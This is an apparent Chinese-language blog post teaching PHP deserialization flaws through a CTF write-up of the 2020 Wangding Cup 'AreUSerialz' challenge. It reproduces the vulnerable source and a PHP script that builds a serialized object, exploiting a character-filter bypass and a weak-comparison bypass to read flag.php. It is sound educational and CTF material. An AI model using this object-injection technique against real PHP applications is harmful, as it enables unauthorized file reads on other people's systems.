初探PHP反序列化
前言
这个漏洞主要是体现在代码审计当中,感觉在CTF里还是比较喜欢考的。

PHP反序列化原理:
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导 致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术 方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
php序列化与反序列化的关键函数:
serialize() 将一个对象转换成字符串
unserialize() 将字符串还原成一个对象
PHP反序列化分类
大体可以分为 有类 和 无类 两种
具体如何区分呢? 直接看 class就可以了。
有 class 就是有类 没有 就是无类
有类和无类的主要区别
区别主要在于 有类就有魔术方法,无类就没有魔术方法
无类

这就将对象转换为了序列化后的值。

这又将其反序列化回来了。
有类
- __construct() //创建对象时触发
- __destruct() //对象被销毁时触发
- __call() //在对象上下文中调用不可访问的方法时触发
- __callStatic() //在静态上下文中调用不可访问的方法时触发
- __get() //用于从不可访问的属性读取数据
- __set() //用于将数据写入不可访问的属性
- __isset() //在不可访问的属性上调用 isset()或 empty()触发
- __unset() //在不可访问的属性上使用 unset()时触发
- __invoke() //当脚本尝试将对象调用为函数时触发

这些就是一些基础知识,下面然我们来看一道CTF的真题吧
CTF题目
2020-网鼎杯-青龙组-Web-AreUSerialz
这道题在CTF hub上是有的。
首先我们进去了后可以看到一串代码,现在我们需要的就是开始读代码。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
我们通过阅读代码可以发现,采取的传参是通过 GET方式 传入str的值。
防护
首先就是 is_valid 函数,

这段代码的意思就是需要我们输入的每个字母的ascii值在32和125之间,所以我们就不可以用默认的protected
因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

可以采用 public 绕过。
还有就是在 __destruct 魔术方法,和 procees
__destruct
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
procees
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
这里我们发现一个问题。
我们需要的执行 process中的 read 函数,但是如果 OP =2了以后,就会在在第直接被改为 1了。
这个时候我们就需要用到 弱比较的绕过。我在PHP基础学习的时候也提过,不清楚的可以看前面的那一篇博客。
**绕过方法:**可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.
编写绕过代码
通过前面的分析我们大题就知道了该如何操作了。
代码
<?php
class FileHandler {
public $op = 2; //这里也可以用' 2'
public $filename = "flag.php";
public $content = "1"; //这里的可以随意。
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
我们需要注意的是 str是通过反序列化的方式传参,那么我们就需要传入序列化后的值(不懂的你细品)
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
序列化结果

最终payload

我们这里还是看不到 flag 需要右键查看源代码

总结
这种漏洞主要出现在一些代码审计的项目或CTF比赛当中,也就是白盒测试当中,具体的危害还可以结合其他漏洞,比如 SQL注入,文件包含等。